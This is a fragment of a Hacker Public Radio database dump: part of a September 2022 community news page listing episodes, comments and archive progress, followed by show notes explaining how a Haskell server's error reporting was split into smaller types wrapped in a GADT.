target=\"_blank\">3683</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-09-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3683\" target=\"_blank\">Add a favourite to OSMAnd</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0030.html\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3684\" target=\"_blank\">3684</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-09-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3684\" target=\"_blank\">Wake on Lan</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0129.html\" target=\"_blank\">JWP</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3685\" target=\"_blank\">3685</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-09-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3685\" target=\"_blank\">Budget and an Android app</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0318.html\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3686\" target=\"_blank\">3686</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-09-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3686\" target=\"_blank\"> Followup for HPR3675: Clarifications on the path traversal bug</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0406.html\" target=\"_blank\">binrc</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3687\" target=\"_blank\">3687</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-09-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3687\" target=\"_blank\">Hacker Public Radio 2021 - 2022 New Years Show Part 6</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0269.html\" target=\"_blank\">Honkeymagoo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3688\" target=\"_blank\">3688</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-09-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3688\" target=\"_blank\">Education, Certifications, and sipping on the Socials</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0405.html\" target=\"_blank\">Lurking Prion</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3689\" target=\"_blank\">3689</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-09-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3689\" target=\"_blank\">Linux Inlaws S01E65: TerminusDB</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0384.html\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3690\" target=\"_blank\">3690</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-09-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3690\" target=\"_blank\">Planning the Trip</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3691\" target=\"_blank\">3691</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-09-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3691\" target=\"_blank\">Starship.rs the best prompt I don\'t use</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3692\" target=\"_blank\">3692</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-09-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3692\" target=\"_blank\">What is a real hacker?</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0405.html\" target=\"_blank\">Lurking Prion</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3693\" target=\"_blank\">3693</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-09-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3693\" target=\"_blank\">Fixing the automatic cutoff mechanism to an electric mower</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0293.html\" target=\"_blank\">Rho`n</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3694\" target=\"_blank\">3694</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-09-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3694\" target=\"_blank\">Robo Tripping Ravelords of the Apocalypse</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0401.html\" target=\"_blank\">Mechatroniac</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3695\" target=\"_blank\">3695</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-09-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3695\" target=\"_blank\">How I watch youtube with newsboat</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0406.html\" target=\"_blank\">binrc</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 39 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 8 comments on\n8 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2449#comments\" target=\"_blank\">hpr2449</a></strong>\n(2017-12-21) \"<em>Org-mode mobile solution</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0326.html\" target=\"_blank\">Brian in Ohio</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2449#2\" target=\"_blank\">Comment 2</a>:\nSinza on 2022-09-06:\n\"Pinephone\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2756#comments\" target=\"_blank\">hpr2756</a></strong>\n(2019-02-25) \"<em>Bash Tips - 20</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0225.html\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2756#1\" target=\"_blank\">Comment 1</a>:\nUnnamed on 2022-09-30:\n\"Untitled\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3655#comments\" target=\"_blank\">hpr3655</a></strong>\n(2022-08-05) \"<em>BSD for Linux users</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0406.html\" target=\"_blank\">binrc</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3655#5\" target=\"_blank\">Comment 5</a>:\nKen Fallon on 2022-09-08:\n\"Featured on BSD Now 471\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3658#comments\" target=\"_blank\">hpr3658</a></strong>\n(2022-08-10) \"<em>Linux Inlaws S01E62: HPR\'s inner workings</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0384.html\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3658#3\" target=\"_blank\">Comment 3</a>:\noperat0r on 2022-09-05:\n\"awesome\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3662#comments\" target=\"_blank\">hpr3662</a></strong>\n(2022-08-16) \"<em>Hacker Public Radio 2021 - 2022 New Years Show Part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0269.html\" target=\"_blank\">Honkeymagoo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3662#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2022-09-02:\n\"Thanks To:\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3667#comments\" target=\"_blank\">hpr3667</a></strong>\n(2022-08-23) \"<em>Hacker Public Radio 2021 - 2022 New Years Show Part 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0269.html\" target=\"_blank\">Honkeymagoo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3667#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2022-09-02:\n\"Thanks To:\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3672#comments\" target=\"_blank\">hpr3672</a></strong>\n(2022-08-30) \"<em>Hacker Public Radio 2021 - 2022 New Years Show Part 3</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0269.html\" target=\"_blank\">Honkeymagoo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3672#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2022-09-02:\n\"Thanks To:\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3673#comments\" target=\"_blank\">hpr3673</a></strong>\n(2022-08-31) \"<em>Recording for Hacker Public Radio</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3673#1\" target=\"_blank\">Comment 1</a>:\nCarl on 2022-09-05:\n\"Great Tips!\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 31 comments on 9 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3675#comments\" target=\"_blank\">hpr3675</a></strong>\n(2022-09-02) \"<em>Plan 9: An exercise in futility</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0406.html\" target=\"_blank\">binrc</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3675#1\" target=\"_blank\">Comment 1</a>:\none_of_spoons on 2022-09-02:\n\"Directive gem.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3675#2\" target=\"_blank\">Comment 2</a>:\nClaudioM on 2022-09-02:\n\"plan9 / 9p\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3675#3\" target=\"_blank\">Comment 3</a>:\nnorrist on 2022-09-02:\n\"In-Depth Series: Learning Awk\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3675#4\" target=\"_blank\">Comment 4</a>:\nken on 2022-09-03:\n\"Editors note not Ken Fallon\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3675#5\" target=\"_blank\">Comment 5</a>:\npasserby on 2022-09-03:\n\"fake news\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3675#6\" target=\"_blank\">Comment 6</a>:\nwill on 2022-09-03:\n\"come back to plan9\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3676#comments\" target=\"_blank\">hpr3676</a></strong>\n(2022-09-05) \"<em>HPR Community News for August 2022</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3676#1\" target=\"_blank\">Comment 1</a>:\nArcher72 on 2022-09-04:\n\"Good show - I made it to the end\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3676#2\" target=\"_blank\">Comment 2</a>:\nClaudioM on 2022-09-05:\n\"Another One Made It to the End!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3676#3\" target=\"_blank\">Comment 3</a>:\nMike Ray on 2022-09-05:\n\"A11y and abbreviations\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3676#4\" target=\"_blank\">Comment 4</a>:\noperat0r on 2022-09-06:\n\"I made it !\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3676#5\" target=\"_blank\">Comment 5</a>:\nfolky on 2022-09-06:\n\"Did make it too\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3676#6\" target=\"_blank\">Comment 6</a>:\nbrian-in-ohio on 2022-09-06:\n\"the show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3676#7\" target=\"_blank\">Comment 7</a>:\nnorrist on 2022-09-06:\n\"Public access to HPR site Generator\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3676#8\" target=\"_blank\">Comment 8</a>:\nMiguel on 2022-09-06:\n\"I made it!!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3676#9\" target=\"_blank\">Comment 9</a>:\nStache_AF on 2022-09-07:\n\"Made It\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3677#comments\" target=\"_blank\">hpr3677</a></strong>\n(2022-09-06) \"<em>Hacker Public Radio 2021 - 2022 New Years Show Part 4</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0269.html\" target=\"_blank\">Honkeymagoo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3677#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2022-09-02:\n\"Thanks To:\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3677#2\" target=\"_blank\">Comment 2</a>:\nFilly Buster on 2022-09-06:\n\"Filibuster\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3678#comments\" target=\"_blank\">hpr3678</a></strong>\n(2022-09-07) \"<em>\"Stupid Users\" ... no, not those users, the other \"stupid users\"</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0405.html\" target=\"_blank\">Lurking Prion</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3678#1\" target=\"_blank\">Comment 1</a>:\nSome Guy On The Internet on 2022-09-08:\n\"Stupid=\"NO BACKUPS!\"\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3678#2\" target=\"_blank\">Comment 2</a>:\nLurking Prion on 2022-09-09:\n\"No Backups\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3678#3\" target=\"_blank\">Comment 3</a>:\nLurking Prion on 2022-09-09:\n\"Not a podcast\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3678#4\" target=\"_blank\">Comment 4</a>:\nSome Guy On The Internet on 2022-09-10:\n\"You\'re Fine (...preemptive strike).\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3682#comments\" target=\"_blank\">hpr3682</a></strong>\n(2022-09-13) \"<em>Hacker Public Radio 2021 - 2022 New Years Show Part 5</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0269.html\" target=\"_blank\">Honkeymagoo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3682#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2022-09-02:\n\"Thanks To:\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3687#comments\" target=\"_blank\">hpr3687</a></strong>\n(2022-09-20) \"<em>Hacker Public Radio 2021 - 2022 New Years Show Part 6</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0269.html\" target=\"_blank\">Honkeymagoo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3687#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2022-09-02:\n\"Thanks To:\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3692#comments\" target=\"_blank\">hpr3692</a></strong>\n(2022-09-27) \"<em>What is a real hacker?</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0405.html\" target=\"_blank\">Lurking Prion</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3692#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2022-09-27:\n\"cussing\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3692#2\" target=\"_blank\">Comment 2</a>:\nLurking Prion on 2022-09-28:\n\"Yes, I probably need a hug\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3694#comments\" target=\"_blank\">hpr3694</a></strong>\n(2022-09-29) \"<em>Robo Tripping Ravelords of the Apocalypse</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0401.html\" target=\"_blank\">Mechatroniac</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3694#1\" target=\"_blank\">Comment 1</a>:\none_of_spoons on 2022-09-29:\n\"{inspirational artifice}\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3694#2\" target=\"_blank\">Comment 2</a>:\nClaudioM on 2022-09-29:\n\"Great Story\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3694#3\" target=\"_blank\">Comment 3</a>:\nKen Fallon on 2022-09-29:\n\"I loved this\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3694#4\" target=\"_blank\">Comment 4</a>:\nMechatroniac on 2022-09-29:\n\"Thanks\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3694#5\" target=\"_blank\">Comment 5</a>:\nbrian-in-ohio on 2022-09-30:\n\"the show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3695#comments\" target=\"_blank\">hpr3695</a></strong>\n(2022-09-30) \"<em>How I watch youtube with newsboat</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0406.html\" target=\"_blank\">binrc</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3695#1\" target=\"_blank\">Comment 1</a>:\nfolky on 2022-09-30:\n\"Great for gpodder too\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-September/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-September/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"fosdem-2023\">FOSDEM 2023</h3>\n<p>FOSDEM 2023 will take place in Brussels, Belgium at the Université Libre de Bruxelles (or ULB) next February on the weekend of the 4th and 5th.</p>\n<p>HPR had a stand at the last in-person event, representing <em>Free Culture Podcasts</em>. There is a call for proposals out at the moment for those wishing to run a stand for the forthcoming event.</p>\n<h3 id=\"older-hpr-shows-on-archive.org-phase-2\">Older HPR shows on archive.org, phase 2</h3>\n<p>Now that all shows from number 1 to the latest have been uploaded to the Internet Archive there are other tasks to perform. We are reprocessing and re-uploading shows in the range 871 to 2429 as explained in the Community News show notes released in <a href=\"http://hackerpublicradio.org/eps.php?id=3586#older-hpr-shows-on-archive.org-phase-2\">May 2022</a>. We are keeping a running total here to show progress:</p>\n<table>\n<tr>\n<th>\nMonth\n</th>\n<th>\nMonth count\n</th>\n<th>\nRunning total\n</th>\n<th>\nRemainder\n</th>\n</tr>\n<tr>\n<td>\n2022-04\n</td>\n<td>\n130\n</td>\n<td>\n130\n</td>\n<td>\n1428\n</td>\n</tr>\n<tr>\n<td>\n2022-05\n</td>\n<td>\n140\n</td>\n<td>\n270\n</td>\n<td>\n1288\n</td>\n</tr>\n<tr>\n<td>\n2022-06\n</td>\n<td>\n150\n</td>\n<td>\n420\n</td>\n<td>\n1138\n</td>\n</tr>\n<tr>\n<td>\n2022-07\n</td>\n<td>\n155\n</td>\n<td>\n575\n</td>\n<td>\n983\n</td>\n</tr>\n<tr>\n<td>\n2022-08\n</td>\n<td>\n155\n</td>\n<td>\n730\n</td>\n<td>\n828\n</td>\n</tr>\n<tr>\n<td>\n2022-09\n</td>\n<td>\n150\n</td>\n<td>\n880\n</td>\n<td>\n678\n</td>\n</tr>\n</table>\n\n<p><small><small>Updated: 2022-10-02 11:47:18</small></small></p>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3392,'2021-08-03','Structured error reporting',1714,'Tuula talks about how she improved build times by breaking down error reporting to smaller parts','<h2 id=\"initial-state\">Initial state</h2>\r\n<p>When I originally wanted a unified error reporting on the server-side, I made one huge type that enumerated all the possible error cases that could be reported:</p>\r\n<pre><code>-- | Error codes for all errors returned by API\r\ndata ErrorCode\r\n -- common error codes\r\n = ResourceNotFound\r\n | InsufficientRights\r\n | FailedToParseDataInDatabase\r\n -- errors specific to news\r\n | SpecialEventHasAlreadyBeenResolved\r\n | UnsupportedArticleType\r\n | SpecialNewsExtractionFailed\r\n | TriedToMakeChoiceForRegularArticle\r\n -- errors specific to simulation state\r\n | SimulationStatusNotFound\r\n | DeltaTIsTooBig\r\n | TurnProcessingAndStateChangeDisallowed\r\n | SimulationNotOpenForCommands\r\n | SimulationNotOpenForBrowsing\r\n -- errors specific to people\r\n | StatIsTooLow Text\r\n | CouldNotConfirmDateOfBirth\r\n | DateOfBirthIsInFuture\r\n | FirstNameIsEmpty\r\n | FamilyNameIsEmpty\r\n | CognomenIsEmpty\r\n | RegnalNumberIsLessThanZero\r\n -- errors specific to new person creation\r\n | AgeBracketStartIsGreaterThanEnd\r\n | PersonCreationFailed\r\n deriving (Show, Read, Eq)\r\n</code></pre>\r\n<p>Then I had some helper functions to turn any value of that type into a nice error message:</p>\r\n<pre><code>errorCodeToStatusCode :: ErrorCode -&gt; Int\r\nstatusCodeToText :: Int -&gt; ByteString\r\nerrorCodeToText :: ErrorCode -&gt; Text\r\nraiseIfErrors :: [ErrorCode] -&gt; HandlerFor App ()\r\n</code></pre>\r\n<p><code>errorCodeToStatusCode</code> was responsible for turning <code>ErrorCode</code> into http status code. For example <code>StatIsTooLow \"intrigue\"</code> would be <code>400</code>. <code>statusCodeToText</code> would take this code and turn it into short error message given in http response. <code>400</code> would be <code>Bad Request</code>. <code>errorCodeToText</code> would give a bit more verbose explanation of what happened, <code>StatIsTooLow \"intrigue\"</code> would be mapped to <code>\"Stat intrigue is too low\"</code>. Finally <code>raiseIfErrors</code> would take a list of <code>ErrorCode</code> and use these helper functions to turn them into a http response with correct status code, error message and json body detailing all errors that had happened:</p>\r\n<pre><code>[\r\n { code:\r\n { tag: &quot;StatIsTooLow&quot;\r\n , contents: &quot;intrique&quot;\r\n }\r\n , error: &quot;Stat intrigue is too low&quot;\r\n }\r\n]\r\n</code></pre>\r\n<p>Theres two tags: <code>code</code>, which contains machine readable details about the error and <code>error</code>, which contains error message that can be shown to user.</p>\r\n<p>While this worked fine, there was some problems with it. <code>ErrorCode</code> type was growing larger and larger and the module it was defined in was referred all over the codebase. Every time I added a new error message, all the modules that used error reporting had to be compiled and it was getting slow.</p>\r\n<h2 id=\"solution\">Solution</h2>\r\n<p>Breaking up the <code>ErrorCode</code> to smaller types and moving them to different modules would means less modules were going to built when I added a new error code. The problem was that <code>raiseIfErrors :: [ErrorCode] -&gt; HandlerFor App ()</code> wanted a list of <code>ErrorCode</code> and elements in a list have to be of same type.</p>\r\n<p>I started by splitting <code>ErrorCode</code> to smaller types. Each of the smaller error types have automatically derived toJSON and fromJSON functions for serializing them to and from JSON:</p>\r\n<pre><code>data PersonCreationError =\r\n StatIsTooLow Text\r\n | CouldNotConfirmDateOfBirth\r\n | DateOfBirthIsInFuture\r\n | FirstNameIsEmpty\r\n | FamilyNameIsEmpty\r\n | CognomenIsEmpty\r\n | RegnalNumberIsLessThanZero\r\n deriving (Show, Read, Eq)\r\n\r\n$(deriveJSON defaultOptions &#39;&#39;PersonCreationError)\r\n</code></pre>\r\n<p>That <code>$(deriveJSON defaultOptions \'\'PersonCreationError)</code> is template haskell call. Basically it invokes a <code>deriveJSON</code> function with <code>PersonCreationError</code> as parameter and compiles and splices the resulting code here. This is fast and easy way of generating <code>ToJSON</code> and <code>FromJSON</code> instances and avoiding having to write them by hand. It is very similar to how Lisp macros work.</p>\r\n<p>Then I defined a type class, that has functions for getting a http status code and a error message that can be shown to user. <code>statusCodeToText</code> I could use as is, without any modifications:</p>\r\n<pre><code>class ErrorCodeClass a where\r\n httpStatusCode :: a -&gt; Int\r\n description :: a -&gt; Text\r\n</code></pre>\r\n<p>I have to have instance of <code>ErrorCodeClass</code> defined for each and every smaller error type. Heres an excerpt of <code>PersonCreationError</code> showing how it would look like:</p>\r\n<pre><code>instance ErrorCodeClass PersonCreationError where\r\n httpStatusCode = \\case\r\n StatIsTooLow _ -&gt; 400\r\n CouldNotConfirmDateOfBirth -&gt; 500\r\n...\r\n\r\n description = \\case\r\n StatIsTooLow s -&gt;\r\n &quot;Stat &quot; ++ s ++ &quot; is too low&quot;\r\n...\r\n</code></pre>\r\n<p>A little note: <code>description = \\case</code> relies on lambda case extension. It is just a slightly different way of writing:</p>\r\n<pre><code> description d =\r\n case d of\r\n</code></pre>\r\n<p>This allows me to turn values of these smaller error types into error messages that could be sent to the user.</p>\r\n<p>The second part of the solution is to figure out a way to put values of these smaller error types into same list. If a list is of type <code>[PersonCreationError]</code>, it cant contain values of <code>CommonError</code> and vice versa. Creating a wrapper like:</p>\r\n<pre><code>data ECode a = ECode a\r\n</code></pre>\r\n<p>doesnt work, because then I would have elements of type <code>ECode PersonCreationError</code> and <code>ECode CommonError</code>, which are of different type. What I need, is a way to wrap all these different types into a wrapper that loses the type of wrapped value. Another problem is that I need to place constraints on what kind of values can be wrapped. I need them to have instances for <code>ErrorCodeClass</code> (for getting error information) and ToJSON (for serializing them into JSON). Theres several ways of doing this, but I chose to use generalized algebraic data types (GADTs for short):</p>\r\n<pre><code>{-# LANGUAGE GADTs #-}\r\n\r\ndata ECode where\r\n ECode :: (ErrorCodeClass a, ToJSON a) =&gt; a -&gt; ECode\r\n</code></pre>\r\n<p>Now type <code>ECode</code> has one value constructor, also named to <code>ECode</code>, which takes one parameter <code>a</code>. <code>a</code> can be anything, as long as theres <code>ErrorCodeClass</code> and <code>ToJSON</code> instances defined for it. Calling this constructor will return <code>ECode</code>. If you compare this with the previous definition of <code>ECode</code>, youll notice two major differences:</p>\r\n<ul>\r\n<li><code>a</code> is constrained to have specific type class instances</li>\r\n<li>resulting type is <code>ECode</code>, not <code>ECode a</code></li>\r\n</ul>\r\n<p>The second part means that I can wrap different types into <code>ECode</code> and place them into a same list without problems. Type of that list is simply <code>[ECode]</code>.</p>\r\n<p>But having a list of error codes wrapped in <code>ECode</code> isnt going to do much to us. We need to be able to turn them into http status code, text and list of error messages. Luckily we have a type class just for that:</p>\r\n<pre><code>instance ErrorCodeClass ECode where\r\n httpStatusCode (ECode a) =\r\n httpStatusCode a\r\n\r\n description (ECode a) =\r\n description a\r\n</code></pre>\r\n<p><code>httpStatusCode</code> of <code>ECode</code> is <code>httpStatusCode</code> of the value <code>ECode</code> wraps. Similarly <code>description</code> of <code>ECode</code> is <code>description</code> of the wrapped value.</p>\r\n<p>For turning <code>ECode</code> into JSON, I opted for hand written instance:</p>\r\n<pre><code>instance ToJSON ECode where\r\n toJSON (ECode a) =\r\n object [ &quot;HttpCode&quot; .= httpStatusCode a\r\n , &quot;FaultCode&quot; .= toJSON a\r\n , &quot;ErrorDescription&quot; .= description a\r\n ]\r\n</code></pre>\r\n<p>This gives me complete control over how I want to report errors to the client.</p>\r\n<p>Final piece of the puzzle is <code>raiseIfErrors</code> function:</p>\r\n<pre><code>raiseIfErrors :: [ECode] -&gt; HandlerFor App ()\r\nraiseIfErrors errors = do\r\n when (not $ null errors) $ do\r\n let code = fromMaybe 500 $ errors ^? ix 0 . to httpStatusCode\r\n let msg = statusCodeToText code\r\n sendStatusJSON (Status code msg) $ toJSON errors\r\n</code></pre>\r\n<p>If there are any elements in the passed in list, grab the http status code and text from the first element of the list. I was considering writing some sort of logic to deduce which error code to return in case there are more than one type in the list, but decided against it. There doesnt seem to be any easy way to decide between HTTP 400 Bad Request and HTTP 500 Internal Server Error. So I just return the first one. Body of the response contains list of errors codes:</p>\r\n<pre><code>[\r\n { HttpCode: 400\r\n , FaultCode: {\r\n Tag: &quot;StatIsTooLow&quot;\r\n , Contents: &quot;intrique&quot;\r\n }\r\n , 